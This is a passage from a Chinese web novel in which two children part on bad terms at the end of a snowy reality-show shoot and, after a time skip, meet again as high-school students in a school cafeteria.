“他的成绩是击中12个,值得一提的是,12个击中目标都是邵老师。值得一提的是,邵老师一共被击中了15次,剩下三次来自粽粽。” 邵晚熠苦笑。 【哈哈哈在邵晚熠身上刷经验呢】 【没有技巧,全是恩怨】 【辅助小粽粽,一顿忙活最后就打了3个】 【还被俘虏了】 【要美人不要江山的Zev,不然远不止这些】 而其他大人中都是探头观战时被成深野和小月亮瞅准时机击中的,顾乾也在撤离时被误伤,就成深野的妈妈申茉身上一下都没有,干干净净。 “运气好。”申茉笑道。 “大人组中获胜的是申茉。”宋霄说,“现在宣布奖励。” 几位工作人员抬上一块泡沫板,还有许多幅巨大的图片。 粽粽一看到就“哇”了声。 因为图片上正是各种各样的美食,里面就包括粽粽最期待的锡纸烤肉,大块大块的肉闪闪发亮,令人垂涎欲滴。 “获胜的小朋友可以来选择喜欢的食物,放在你的名字后面。等到运动会结束之后,我们就会举行宴会,大家的菜就按这块板子上的记录来上。” 除了主食之外,图片还有各种甜品和蛋糕,应有尽有。 “Zev可以来挑选。” 宋霄把图片一字排开,让Zev选。 Zev对此不感兴趣,正要摇头拒绝,忽然一瞥旁边的粽粽,看到他正盯着烤肉,目光炯炯。 “我选烤肉。”Zev一指。 粽粽目光追随,看着烤肉被贴在Zev的名字后面,转过头,几次看着Zev,欲言又止。 Zev假装没有看到,酷酷揣兜。 终于,粽粽忍不住问道:“Z呜哥哥,一会儿可以给我吃一口吗?” “可以的。”Zev假装思考一番。 “太好了,谢谢你。”粽粽笑得眼睛弯弯,“你真好。” Zev望望他,竟然有点莫名的遗憾。 这次表达感谢的方式过于内敛,甚至没有拥抱。 接下来又热热闹闹地进行其他项目,一场盛大的雪中运动会成功举办并落幕,定格在了银装素裹的画面中。 夜幕悄悄降临,空中又毫无征兆地落起雪花。 大家坐在小屋里,按照今天的比赛结果上菜。几乎小朋友们都选择了分享,所有人都可以体验一整桌的满汉全席。 屋内供暖设施很足,众人都脱掉了羽绒服。一块玻璃隔着天寒地冻和温暖如春,升腾起厚厚的白气。 粽粽吃着烤肉,恍惚间觉得很像他之前的梦。 只是之前是站在外面隔窗望着,现在竟然坐在其中。他连忙转过头,看到了拿着杯子轻轻晃的Zev。 宋霄边吃边说:“小朋友们,很高兴认识你们,明天就要结束了,真有点舍不得。” 粽粽愣愣地抬起头,仿佛这才是一场真正的幻梦。 豪华别墅,满汉全席,辽阔的草原和奔驰的骏马,童话般美好的雪中小镇,以及只有在电视里才能看到的顾乾,还有—— 主角顾傲天。 这是一个怎么看都很绚丽而华美的彩色泡泡。 小月亮,成深野,和顾傲天,看起来就很像一类人,以后发生任何故事都是理所应当的。尤其在脱掉了节目组发的羽绒服之后,只有粽粽穿着臃肿的,一层套一层的卡通毛衣。 另外三个小朋友都是薄薄的高级羊绒衫,举止也得体,没有像他一样抱着大鸡腿在啃。 原来是粽粽一个人的梦。 他想回家找妈妈了。 【补药哇,补药结束】 【泪目】 【小粽粽也很舍不得吧,大鸡腿都忘记啃了】 之后粽粽并没有怎么吃东西,直到用餐时间结束,盛坻把他抱回去。 一路上抓着盛坻的衣服没有说话,盛坻拍拍他:“怎么了小粽粽,看起来兴致不高。” 粽粽不说话,脸蛋搁在盛坻肩膀上,发丝随着走路一晃一晃。 “是不是因为要分开了?”盛坻问他。 粽粽摇头。 “没关系的,就当旅游了,以后还会有见面机会的。哥哥们去家里看你好不好。” 他们路过一家亮灯的商店,红顶砖墙,和动画片里的很像。粽粽多看了一眼。 “我带他进去转转,你先回去吧。”盛坻转头和林雪客说,“粽粽心情不好,带他溜达溜达。” “不让我一起去吗?”林雪客问。 雪夜很有氛围感,天上的星星隐约可见,黑色与亮光交织。 这种天气,并肩一起走也是种享受。 盛坻生硬道:“你早点睡吧,昨天不是有点感冒吗。” 他带着粽粽进了商店。 “Good evening.(晚上好。)”头发花白的外国老板出来打招呼。 盛坻这才一拍脑袋,问怀里的粽粽:“你会说英文不?” 粽粽默默摇头。 两人沉默会儿,盛坻忽然想到什么:“我出去看看,说不定Zev在这附近。” 【很好盛坻,你已经参透了】 【三步之内必有Zev】 【哈哈哈自动跟随】 盛坻出去一瞅,果然看到Zev被邵晚熠抱着过来。 “我要把他护送到你们那。”邵晚熠说。 这个场景在几人间已经上演无数次,已然见怪不怪。 靠谱的翻译出场,流利地替盛坻和小粽粽架起异国沟通的桥梁。 转了一圈,盛坻想给粽粽买点小纪念品,但粽粽不要。 Zev财大气粗,小手一挥,粽粽也没有要。 只是在出门的时候忽然指着架子上的小花,对盛坻说:“哥哥,买一束这个。” 这种天气能见到鲜花属实难得,不知是从哪里运来的,上面还带着新鲜的水珠。颜色主体是白色,周围带着一圈渐变的蓝。 “颜色真漂亮。”盛坻把它买下来。 回去的路上粽粽捧着这束花,还真就来了精神。 等直播关闭,粽粽开始碎碎念:“哥哥,你和小林哥哥怎么样了呀。” “就那样吧,他有点不理我。”盛坻也不再隐瞒粽粽,“不愿意和我聊。” 语调带着浓浓的惆怅,不知怎么和最好的兄弟走到这一步,氛围挺怪。 粽粽的万能方法失效,但他并没有气馁,高兴地用小手拨弄花瓣:“哥哥,你看这个花像不像小林哥哥发型的颜色,我把它送给小林哥哥好不好?” “既然是你的,你想怎么处理就怎么处理。”盛坻没多在意。 等一回屋,粽粽就立刻拿着花跑向屋里的林雪客。 “小林哥哥。”粽粽扑上去,举起花,“盛坻哥哥买的。送给你。” 林雪客一愣。 “你不要再不理盛坻哥哥了好不好。” 粽粽仰起小脸,急切道。 这是他最希望解决的一件事情,修复林雪客和盛坻之间的关系。 “我没有不理他。”林雪客低下头。 粽粽发现希望,目光期待:“那你愿意和他聊一下吗?” 林雪客望着窗外的大雪,玻璃倒映出蓝白的花束,他吸了口气:“可以,聊吧。” “太好了。”粽粽高兴,跑出去和盛坻分享这个好消息。 把两人都推到房间里,示意自己不会打扰,深藏功与名。 身后Zev已在客厅的沙发上等候,听到动静,把目光从壁炉挪到粽粽身上。 第57章 “Z呜哥哥,去房间里。” 粽粽把Z呜推走。 带到卧室里,自己先脱掉厚厚的羽绒服,露出里面卡通小毛衣。 虽然鼓鼓囊囊并且面料不高级,但他喜欢自己的毛衣,包括上面的卡通图案。 他望望顾傲天,感觉依然是第一次遇到的样子,眉目又酷又帅气,气质矜贵,与众不同。 “Z呜哥哥,我觉得你很特别。”粽粽说,“上次忘记告诉你,第一次看到你的时候我只觉得你很帅,一点都没有把你和顾乾哥哥联系到一起去。” 粽粽闪着大眼睛,真诚地望着Zev,像一汪倒映着繁星的美丽湖泊。 Zev顿了顿,才“嗯”一声。 想不到粽粽对他的迷恋从第一面就开始了。 粽粽跑到自己的小书包近前,在里面摸索摸索,掏出一个红色的小盒子。 “哥哥,这个送给你。” 他有点小羞涩,虽然以前也经常送别的小朋友礼物,但头一回如此正式,花光了他金猪储钱罐里的全部积蓄,唯有如此才能配得上Zev。 Zev仍旧抱臂坐在床对面的凳子上,看着面前的粽粽,微微挑了下眉。 他从小到大接收过无数人的礼物,也有无数人想给他送礼物被拒绝。这么一个平平无奇的小盒子属实算不得什么,但或许勉强看一看是什么。 粽粽替他打开:“你看。” 只见黑色丝绒底座上一抹金色闪闪发光,仔细一瞅,是一个纯金的小粽子挂坠。 肉乎乎的白皙小手拿起来:“哥哥,店员姐姐说这个寓意很好,是‘高粽’的意思,而且还是我的名字。你收下吧,以后偶尔可以想起来一下。” 提起来就不再只是“一种食物”了,虽然粽粽也没有底,不知道无足轻重的自己能被日理万机的顾傲天记多久。 “谢谢。”Zev接过来。 看到自己的礼物被如此顺利地收下了,粽粽非常高兴。 “我挑了好久呢,开始觉得黄金有点老老的,但路过的时候正好看到这个做成粽子形状,我就想送给你。你肯定收过很多礼物,有收到过和我的类似的吗?” 一连串机关枪似的话嘟嘟嘟。 Zev实话实说:“没收到过这么小的。” 什么巨大的金锁金如意他见过不少,没有想到有这么一小粒版本,像是在哪里掉下来的。 这话并没有别的意思,在他心中大小不代表什么,还觉得挺可爱。 但粽粽的脸蛋和耳朵立刻就红了,嗫嚅道:“本来是有更大型号的,但是我的钱不够了。” 他攒了好几年,已经有厚厚一沓钞票,但交过去时还是捉襟见肘。 “没事,我喜欢。”Zev霸道。 粽粽如释重负:“那就好。” 他坐到Zev旁边,几经犹豫,把手蜷起来又展开,还是开口:“哥哥,我要告诉你个秘密。” 小脸凑近,神情认真。 Zev望着他。 粽粽正要开口,外面“呼呼”一阵风,夹杂着雪花撞击在玻璃上,留下六边形的痕迹,又逐渐淡去。 又下雪了。 “Z呜哥哥。”粽粽鼓起勇气,“已经最后一天了,我要告诉你。其实接近你是有目的的,现在任务已经完成了,我们要告别了。” 他决定说出这一切,否则以后可能再没有和Zev说话的机会。 “?什么意思。” Zev虽然还没有听明白,但他的脸色已经有些冷,听到“目的”这个词,唤起了他很多不太好的记忆。 很多人接近他都是有目的的,等目的达成之后就会离开。包括小时候最喜欢的保姆姐姐,温柔地陪伴他一个月之后被辞退,在路上遇到都假装不认识他。 温柔和对他的喜爱都是装出来的。 他拧眉看着粽粽,很不喜欢这个词汇。 但粽粽毫无察觉,反正他们注定是要分别的。以后Zev开着超级豪车走大道,粽粽靠着两条腿走小路,Zev坐在摩天大楼里呼风唤雨,粽粽过平平淡淡的普通生活。 他在家里也收看了一点之前的节目,看到自己给Zev的糖果都没有被吃。 很久没吃的糖果会变得黏黏的,粘在糖纸上,更不被Zev瞧得上。 粽粽扣着手指头,低下头:“我之前纠缠你可能给你带来了困扰,对不起。我只是完成任务,明天就要白白了。” 他把心里的大石头丢出去,这一不诚信的行为让他不能坦坦荡荡,现在轻松不少。 Zev看着粽粽仿佛甩掉重担一般的神情,和之前那些人的表情都一样,他把唇抿得紧紧。 脑海中闪过很多场景。 粽粽告诉他:“我做了一个梦,梦到你是很可怕的顾傲天,会让我还有两个哥哥流落街头。所以我才一直和你套近乎,你肯定觉得很烦人,就是我故意找你聊天,牵手那些,但我其实是为了那个梦。” “不然我们俩一看就不是能一起玩的人。” “昨天我说今晚要告诉你我为什么知道你在关注小月亮,也是那个梦里的。不过就留你去体验吧,肯定会是个完美又圆满的结局。” Zev一动不动。 他并不能完全听懂粽粽的话,但他听懂了足够的部分。 粽粽咬咬嘴唇,想说出自己的心路历程:“刚开始我是害怕的,但是后来我” “别说了。”Zev抬起手。 表情恢复冷淡,被墨镜遮挡了大半,声音更冷,比外面的雪还要冷:“我不在意。” 粽粽不说话了,盯着Zev,眼圈开始微微泛红。 “我讨厌欺骗。以后不要联系了。” Zev走到窗户下,踮脚按了把手,打开窗。 外面刺骨的冷风夹杂着雪片灌进来,让粽粽一个哆嗦,温热的眼圈也冻得冰冰。 Zev摘下腕上的手表,这是他和粽粽唯一的联系方式,还排在联系人列表的最后一个。 回想起来,一切都有迹可循。 黑色的电话手表被从窗户抛出,划出一个完美的抛物线,落进厚厚的雪堆里,不知踪迹。 紧接着Zev看到手里的红色盒子。 他犹豫一下,在手心里攥了攥,最终还是装进口袋。 “回去扔。” “啪”一声,Zev关上窗。 耳边变得特别安静。 Zev拿上自己的外套转身离开,打开房屋大门。 外面是黑压压的暗,雪花和繁星偶然间折射出的亮光转瞬即逝,看似都融在了浓黑中,却共同构成了一个绚烂的雪夜。 亮光被揉碎,永久地洒进了天空。 “Z呜哥哥你现在不要走,外面雪下得很大。”粽粽伸手拉住Zev的衣服角。 Zev掰开他的手指,看着欲言又止的粽粽。 把粽粽的小脸盯了很久,微蹙的眉头,明亮的眼睛,长长的睫毛,虽然没完全立起来但鼻梁很直的鼻子,侧面有一颗很小很淡的痣,不仔细看不出来。 还有这张会骗人的,润润的,形状很好看的嘴巴。 “你不要那个粽子的话能还给我不,我挑了好久好久。”粽粽不知道该说什么。 “不能。” Zev果断离去,小小的身影淹没在了外面的世界。 动静惊动了另一个房间的盛坻和林雪客,弄清来龙去脉之后,一个立刻去追Zev,一个留下来看着粽粽。 粽粽圆圆的小脸定定地仰了一会儿,把脑袋贴在林雪客身前。 再见了,顾傲天。 他这个小炮灰的插曲应该画上句号了。 * 另一边的Zev被盛坻送回去,身上几乎被雪水打湿,乌黑的头发捋在脑后,露出湿漉漉的眉目。 邵晚熠和顾乾看到这一幕都挺意外,询问发生了什么。 盛坻有点局促地摇头:“我不知道,问了他一路都没说。” Zev现在依然不打算说,转身进屋。 把湿透的外套脱下来,坐在窗前,手握成拳头,小下巴紧绷,严肃的侧影倒映在玻璃上。 他长这么大从来没有被这样骗过。 开始时决定势必得让粽粽付出代价,把他给抓回来,关在小黑屋里,每天只许和自己一个人玩。 他要去找爷爷,爷爷办得到。 Zev摸索自己的口袋,才想起来能打电话的电话手表已经被他潇洒地扔出窗外,倒是摸到了另一个硬硬的东西。 拿出来,是那个红色的小盒子。 丝绒质地,手感很好。 打开,一枚金光闪闪的粽子躺在正中央,仿佛某人眼睛里的光。 那人顶着这双大眼睛告诉他,要真诚,善良,说他和顾乾不一样,说他很会聊天,还牵他抱他亲他。 都是假的。 骗子。 Zev把这枚粽子捏在手里,硌出了红红的印子。 但那张圆圆的小脸却始终浮现在眼前,看起来从不会骗人。 外面忽然又传来几声“咚咚咚”的敲门声,Zev不耐地拧眉,依旧不想搭理。 但这回门却被直接推开,他头一回看到顾乾的神情有点不稳。 “Zev,收拾行李,我们得走。”顾乾匆匆道。 Zev没反应过来:“什么事?” “先走。”顾乾把他抱上,直接出发。 原来昨天经纪人那通给邵晚熠的电话就是通风报信,邵晚熠和顾乾明目张胆带Zev上综艺的事情已经被Zev外公知道,下一步肯定是从邵晚熠下手。 当时邵晚熠没管。 现在时岳韬已经开始对邵晚熠所在公司有所行动,只有顾乾回去可以解决这件事。 “走路都要人扶着,还搞这事。”顾乾冷脸骂了句。 邵晚熠倒看起来没什么所谓:“这回你挺热心,管我的闲事。” 顾乾打断:“闭嘴。” Zev觉得和他当年从国外回国的时候很像,小小的他再次体会身不由己,被人一抱就走了,无权决定接下来将在何方。 他只能回过头,望着这一片浩荡的雪屋。 明亮的星空在上,堆着厚厚白雪的房屋错落,远望着实像童话世界,仿佛永远不会落幕。 (上卷完) 作者有话要说: [爆哭] 不出意外的话下章时光大法[狗头叼玫瑰] 第58章 某颁奖典礼,后台众星云集。 熙熙攘攘的全是脂粉与香水气息,俊男靓女身穿高定礼服,妆容或浓艳或浅淡,身上佩戴着各色昂贵珠宝,充满了浮奢之气。 “借过。” 一个身穿蓝白校服的高中生进来,发色乌黑,气质干净。浑身上下除了深红色Hermes头戴式耳机随意搭在脖颈上,没有其他饰品,连球鞋都是浅色。 不像是名利场上的人。但偏偏肩宽腿长,目测一米八以上,下颌线清晰利落,鼻梁高挺,样貌极其出众。 他手里拿着个牛皮纸袋,对挡在前面的女星礼貌借道。 该活动入场门槛很高,后台更是闲人免进,大家一时议论纷纷。 “这是谁?刚出道的吗?” “肯定不是,从来没有见过,不会是谁包养的吧。” “这气质不像呀,这么冷冷的鸭早就被饿死了。” “主要是太帅了,不会是哪个明星私生子吧。诶——”忽然有人压低声音,“这个角度,有没有点像顾乾年轻的时候?” “还真是,不过今天顾老师也没出席。” 时璟承旁若无人地朝里走,转过几个弯,推开最里间休息室的门。 把纸袋朝桌上一丢,一言不发,转过身准备出门。 “几十万的胸针,就这么对待?”桌边的人调侃。 “邵晚熠。”时璟承没回头,声线挺冷,又带着年龄特有的清朗,“不用谢。” “这气死人的性子也不像你哥,不知道你像谁。” “没准像你。再见。” 时璟承不耐地皱眉,背身摆了下手,重新从后台穿梭回去。 在入口处拿回自己的书包,甩在肩上,淡定地双肩背好,继续去学校上课。 今年十七岁的时璟承还是个高三学生,当初拒绝向资本主义低头而毅然决然放弃国际高中和出国留学,每天和七点钟的太阳一起出发。 一辆迈巴赫停在他面前,司机降下副驾的窗:“少爷,上车吧。顾先生让我送您去上学。” “不必。”时璟承冷冷。 “已经要迟到了,少爷。” “” 时璟承拉开车门,跨上后座,把书包朝旁边的座位一丢:“离学校一千米的地方把我放下来。” “五百米吧,一千米有点远。”司机笑道,正好前面转弯,边转方向盘边随口说,“您真低调。不过跟顾先生长得这么像,小时候还参加过电视节目,同学们没猜出您的身份吗?” 时璟承挑眉,抱臂倚在后座,略带一点压迫感,车内的温度仿佛降了几度。 “不像不像。”司机改口。 时璟承依然没什么表情地看着他。 “对对,没参加过,没参加过。下次不提了。” 司机捏了把汗,太久没看到这个小的,差点连顾乾弟弟的雷区都忘了。他在这个家工作十几年,早就知道此事绝对不能提。 任何相关的语句都不可以出现,也不知道那次节目到底怎么中伤他了。 时璟承这才放下眉毛,从书包里拿出本书来看。 七点钟的太阳光打在他冷白的侧颜上,跃动着金色的光。这么一照,才发现手腕上若隐若现地戴着根红绳,似乎并非全然没有别的饰品。 * “凌蒲,快七点了,该起床了。” 与此同时,同一座城市的一个小小楼房里,钱芷叫他的儿子起床。 虽然已经上了些年纪,但钱芷依然气质优雅,披着一条丝巾。 当年儿子参加完节目之后,凌逸飞被调到外地分公司,一家人跟着去杭苏生活了十来年,如今又被调回北明。 “折腾半天,就平个房价。”凌逸飞很是肉痛,“人算不如天算,老婆,咱们不如去隐居算了。” “你儿子怎么办?当野人吗?”钱芷已经习以为常,温柔地笑笑,“去叫他起床吧。” 凌逸飞接收任务,来到凌蒲房间里,先“唰”一声拉开窗帘,但凌蒲只是翻了个身,继续安详地沉睡,任凭阳光洒在睫毛上。 现在还处在夏天,屋里天气较热,凌蒲身上单穿一件白色背心,胳膊露在外面。 属于少年人的标准身材,清瘦而不羸弱,皮肤白皙细腻,带着健康的红润。 “儿子。今天刚转学第一天,早点去给新同学留个印象。”凌逸飞坐在他床边,“主要送完你我也要去公司,得给同事留个好印象。” 眼看没得到回应,凌逸飞轻车熟路地伸出一根手指堵住凌蒲的鼻子。 静候几秒,凌蒲不得不醒来。 “爸。” 一双眼睛水汪汪,瞳仁颜色和发色一样稍稍偏浅,阳光下有点像剔透的琥珀,脸颊带点未褪的婴儿肥,并不算太明显,但呈现出柔和的弧度。五官像钱芷,但眉目间俊逸潇洒像凌逸飞。 将醒未醒间,凌蒲揉了一把乱七八糟的头发,统统捋到脑后,又尽数支棱着,发质柔顺。 醒了会儿神,再有意识的时候已经站在洗漱台前,掉下来的几撮发丝挡住眼睛,他随便抓了个钱芷的夹子夹上。 记忆渐渐回笼。 今天要转学到新学校。 这对凌蒲来说并不是一件让人害怕的事情,每到一个新环境他都融入得挺快,交际并非难事。 只是从杭苏回到北明这个小时候成长三年的地方,难免有点惆怅。 搁在桌上的手机嗡嗡作响,上一学校的好兄弟们还在不断地向他倾诉着思慕之情。 【蒲,我已经开始想你了】 【我查了,你转的学校很出名,一搜好几页。猜猜出名的原因是什么?】 【bro,你去哪了】 【好吧告诉你,你们学校有个贼出名的人物,好几页全是他】 【民间校草第一名】 【长得挺帅,略逊于你我】 【/图片】 【我草,竟然还有从路虎上下来的照片,有点实力啊】 【好兄弟你还在吗】 手机孤独地在桌上一闪一灭。 “快走吧,早餐带着吃。” 凌逸飞不时看一眼手表,焦急催促着,把享用美味早餐的凌蒲赶起来。钱芷则将咬了一口的三明治装进袋子,塞给凌蒲,和凌逸飞配合着把他推出门。 凌蒲只来得及伸手接过,在门关闭之前及时扯出书包上的小狮子挂件,便被身不由己地一路载到学校。 凌逸飞的车还是十来年前那辆,已经垂垂老矣,坐得人屁股痛。 “爸。放学来接我吗?”凌蒲啃着三明治,抬眸望窗外的景象。 他身上穿的是原来学校的校服,和这边的颜色款式并不一致。被有些偏大的衣袖衬得懒洋洋,带着几分缺觉的懵懂。 “看情况,到时候提前给你打电话。”凌逸飞踩刹车,“先在这下吧,爸爸来不及了。加油儿子。” 车子一骑绝尘,凌逸飞急着去给新同事留好印象。 凌蒲:“” 他站在街角,望着远处闪闪发亮的学校教学楼,一切都是未知的世界。 也没关心过他爸到底给他转到什么学校来了,凌蒲的人生一直都是一种随遇而安的大状态, 吸了口气,正准备亲力亲为地朝学校走,忽然“嗖”一声—— 一辆相当拉风的车拉风地停在前面十米开外,一个模模糊糊又能勉强看清的距离。 “?” 只见车门缓缓地自动打开,一只干净的浅色球鞋踩在地面上,接着挺长的腿迈下来,单手戴上墨镜,校服反过来搭在手臂上,气度从容地朝学校走。 乌黑的发丝随着风懒散地飘。 那人直到拐弯前才取下墨镜,穿上校服,把拉链拉起来,领口整理得一丝不苟,再若无其事地进校门。 目睹一切的凌蒲淡淡沉默。 又抬头看了眼学校。 “。” * “你就是凌蒲吧。” 接待凌蒲的班主任是个富态的中年女老师,很有福相,“我是赵家莹,你的班主任。” 她用经验丰富的犀利目光打量这个新同学,长得太好,在躁动的高三挺麻烦,不过看上去乖巧听话,应该好管理。 “赵老师好。”凌蒲打招呼,抓着自己书包带。 “之前成绩怎么样?” 凌蒲思索一下:“中不溜秋。” 赵佳莹笑了:“行。等月考的时候看看,是怎么个中不溜秋法。我们现在高三刚开学,基本都是把之前学过的内容再复习一遍,先跟看看,不用管班型,我们学校是有升班制度的” 她忽然一瞄窗户,停住动作,招了下手。 一会儿之后,几个学生笑嘻嘻地磨蹭进来:“被发现了莹姐。这是新同学吗?” “对。”赵佳莹对几个女生看破不说破,转头瞥见里面唯一的男生,“宋昭,你也来看?” 叫做宋昭的男生一脸懵逼,左右瞅瞅:“什么,我上厕所路过,看这边人多,围观下。” 他转头和凌蒲对上眼神,挠挠头:“哥们确实帅哈。” 一串人一溜烟跑回班级,不知说了些什么,等凌蒲跟着赵家莹进去的时候,氛围还是很闹腾的。 赵家莹一个眼神,全班立刻安静下来。 凌蒲顺利做了自我介绍,被暂时安排坐在宋昭旁边。 显然宋昭对他挺好奇,整节早自习看似盯着书本,实则快练出斜视,频频目光移动。 等下课铃响起,凌蒲合上书。 宋昭立刻目不斜视地拿起笔,装作认真写作业,同时挺直背,竖起耳朵,等着新同学提问。 他心中对于整个学校的经纬纵横,风水布局,老师教学水平、收作业习惯,都已经有了千字腹稿,就等着开闸倾斜而出。 凌蒲想了想,终于问出最关心的问题: “同学,这里食堂好吃吗?” 第59章 宋昭愣了愣,反问:“世界上有好吃的食堂吗?” “概率比较低。”凌蒲拿出第一节课需要的书本,“不过总会有一些闪光点。” 大浪淘金。每次他总是很耐心地神农尝百草,希望发现一些好吃的菜肴。 食物是幸福指数评估的重要部分,凌蒲最期待的就是开饭时间,这样很好,每天的上学都有期待。 “你还挺乐观,不过我校食堂专治心存侥幸的。”宋昭摇头,睿智地推了下黑框眼镜。 “是菜少吗?”凌蒲问。 “非也。反之非常喜欢创新,但变来变去都一个味道。”宋昭大气拍出饭卡,“中午带你去体验下。顺便给你介绍我们学校。” “谢谢。”凌蒲笑了笑,“你人真好。” 暖洋洋的笑容,露出一侧虎牙。 收到好人卡的宋昭愣了愣,燃起熊熊的责任感,摩拳擦掌地在脑海中检阅食堂菜肴。 方才碍于早自习无法讨论的其他同学也都投来目光,隐蔽地议论几句。 他们高中学籍按房划分,这片区恰好包括了一堆豪宅区。所以虽说是公立,但也不乏权贵子弟,每新来一个,都会稍微多留心下。 不过凌蒲自我介绍时书包上的小狮子挂件太夺目,不像有什么神秘身份。 “交作业了,宋昭。” 坐在凌蒲前面的女生把凳子朝后翘,摇了摇手里厚厚一沓试卷。 马尾辫一甩,漂亮得很高级,带着一点英气。 “好嘞。”宋昭一边在桌子里找试卷,一边继续和凌蒲说,“你看人很准。我人又好又靠谱,有没有什么特别喜欢吃的菜” “再好吃的菜进了咱食堂都会变成一个味道。” 那女生说着,大咧咧道:“你好凌蒲,我是苏颜杉。宋昭你靠谱个头,一年前让你办的事儿到现在连个音儿都没有。” “你好。”凌蒲打招呼。 宋昭在旁边辩解:“时璟承的联系方式谁能要到?你怎么不让我去九天揽月九洋捉鳖呢。” “所以才让你想办法嘛,如果容易的话要你何用。” “自己的事情自己做。” “你以为我没想过?他说上学不能带手机。” “这不是扯淡吗?我们学校又没有手机禁令,上课不拿出来就行了,现代人谁没有智能手机?” “人家就是找个理由拒绝而已。” 他们一言一语,来来回回。 凌蒲望着窗外陌生的教学楼,感到有点困。昏昏欲睡中想起来答应之前的好朋友报个平安,伸手摸了摸书包。 打开夹层拉链,一摸摸了个空。 记忆回溯,他想起被放在桌子上的手机。 忘带了。 宋昭和苏颜杉已经不可开交,宋昭拉过凌蒲让他评理: “你说苏颜杉是不是很过分,非逼着我去帮她要时璟承的联系方式,这事儿念叨一年了” 凌蒲眨眨眼:“时璟承是谁?” 争论的两人都是一愣。 “看吧苏颜杉,并不是全宇宙人都认识时璟承呢。”宋昭得意,接着给凌蒲介绍,“你来之前没搜一下这个学校吗?搜的话全是他。全北明都挺出名的帅哥,颜值逆天,也是苏颜杉心目中独一无二的男神。” 苏颜杉懒得理他,起身去老师办公室送作业。 “这样,那肯定很帅了。”凌蒲点点头。 宋昭压低声音,神秘地左右看看:“我再告诉你一个小道消息。你得保密。” “好。”凌蒲再次点点头。 “据传言,他疑似顾乾的弟弟,顾乾你不可能不知道吧,就是那个顾乾。蛛丝马迹都能对上。” 终于从凌蒲眼中看到一点震惊,宋昭继续:“还是传言,时璟承小时候跟他哥参加过一个电视节目。但千万不能在他面前提这事,因为节目上有个小孩把他给骗了,他发誓再遇到一定要找人干他。” 宋昭笑嘻嘻,“听起来有点扯淡。你猜我们是怎么知道的?” “叮铃铃——” 没等他说完,一阵响亮的上课铃声响起,早自习短暂的课间飞逝而过。 “靠,第一节是雷sir的课!”送完作业回来的苏颜杉飞速跃回座位,端正坐好。 旁边宋昭也迅速噤声,仿佛什么都没发生似地看着黑板。 一位严肃的男人夹着三角板走进来,朝讲台桌一拍,开始上课。 大家很快进入上课状态,凌蒲则在脑海中回荡着宋昭的话。 “” 顾乾这个名字他相当熟悉,是他妈妈钱芷粉了十几年的偶像,已经把电影方面能拿的奖项几乎拿了个遍,这几年很少在幕前出现。 钱芷常常提及凌蒲小时候曾经和顾乾以及他弟弟一起上过节目,还保存了完整版。 凌蒲有印象但不深。 一是因为年龄小,二是他当年在雪山受凉发烧,病了一场之后模模糊糊。 但他小时候乖巧懂事,不可能骗顾乾的弟弟。 这事儿应该不是他干的。 “就你。”忽然传来咣咣敲黑板的声音,“今天新来是吧,怎么不动笔?上黑板来写这道题!” 凌蒲抬起头,发现被选中了。 走上讲台,端详一眼题目。不算难,拿起粉笔唰唰开写。 一行一行的公式和答案倾泻而出,紧锣密鼓的高三学习生活就这样开始。 放学铃声响起,宋昭就迫不及待地把书一推,拉着凌蒲朝外走。 整栋楼响起震耳欲聋的跑步声,“咚咚咚咚”,不知道的还以为饥荒大爆发或者是末日丧尸来袭。 “不是说不好吃吗?”凌蒲问,跟着人群迈步子。 “仪式感!”宋昭快步走,“其实窗口挺多,用不着抢。” 来到食堂,证实了宋昭的说法。 整个空间宽敞明亮,窗口洁净,布置得错落有致,各式各样餐桌都有。 “优秀校友太多了,翻新好几回。包括教室,也是最现代化的。”宋昭告诉他,有几个同班同学跟着一块,一小团人热热闹闹。 凌蒲身上套着以前学校的红色校服,看起来格格不入,吸引众多目光。 他低头看了看:“我校服刚订,可能下周才拿到。穿着好还是不穿好。” “他们看你的原因又不是这个,不过你穿着外校校服确实像挑衅,脱了吧。”宋昭建议。 凌蒲便拉下拉链,把外套脱掉。 里面是他平常穿的白色短袖t恤,中间是卡通熊图案。 挺普通的一件衣服,但白色很搭凌蒲的气质,在紧实的腰身上稍显宽松,像一把懒洋洋的小葱。 * “不吃葱。” 时璟承冷淡地把绿色的葱叶从饭盘里挑出去。 食堂真难吃。 之前都是管家给他带饭,但成深野不时从对面国际部来看他,时璟承就带他吃很难吃的食堂。 当初托了粽粽的福和解,两人幼儿园小学初中都是在同一个贵族私立读的,关系还算不错。 “谁让你非跑到这来。我们那儿变着花样起码五六十种。”成深野长腿交叠,拿起筷子。 “少爷。”时璟承评价,面无表情。 成深野看着他,被气笑,把自己餐盘朝前推推:“粽子吃吗?” “端午节在三个月之前,它至少在冰柜里冻了三个月。”时璟承看都没看,冷道,“欺骗消费者,吃下去立刻食物中毒。” “人家都没中毒,怎么就你中毒了。” 成深野把上面绑着的线解开,露出白生生的糯米,被蒸得软软的,中间还有蜜枣,看上去还不错。 “最讨喂,于小衍厌诈骗。”时璟承没好气。 “你对什么不讨厌?” 和时璟承当了挺多年兄弟,对方似乎对什么都不喜欢,成深野摸不清套路,只知道有时候不要是真不要,有时候想要也拒绝,比女朋友还难懂。 他并不想泡时璟承,所以不花心思猜,直接递过去: “不像是冻的。给你分一半?” 时璟承一叉子叉在向自己靠近的粽子上,冷淡抬眼:“说了不吃。最特么讨厌这个。” 目光忽然朝旁边一瞥。 只见不远处一个没穿校服的学生端着餐盘张望,眉头蹙起,似乎是找着什么。 时璟承微微眯起眼,打量。 那人发色比黑色浅一点,支棱着一小撮。一双眼睛仿佛湖泊,又闪着星星的光芒,唇色红润,挺直的鼻梁侧有颗小痣,整张脸的五官浓墨重彩,颜色丰富。 脸颊线条柔和,穿着件呆呆的卡通短袖,气质懒散。 目光落在那个卡通小熊图案上,时璟承手里的叉子稍稍用力,把整个粽子从粽叶上叉起来,挑在空中。 “不吃就不吃,你这是干什么?” 成深野的声音已经成了背景音,时璟承眉目压下来,看着那个站在直觉中央的身影。 这些年那个敢骗他的骗子时刻在他脑海中回荡,直觉说错不了。 凌蒲端着餐盘,寻找其他同学。 他为了排这个鸡腿等了一会儿,由于对新环境不熟悉,所以一时间忘了怎么走,神色带着几分茫然。 “你在这儿啊,我们桌子在后面,走反了。”宋昭拍他一下,几个同学来寻找他。 “不好意思。”正要走时,忽然感到什么,凌蒲偏了下头。 和时璟承对上视线。 第一反应是特帅,现实中很惊艳的帅,明星似的。当然旁边同桌吃饭的也挺帅,两人和周围格格不入。 然后才发现好像是在盯着自己,眉目深邃,眼神沉沉,压迫感十足。 左右看看,确定真是在看他。 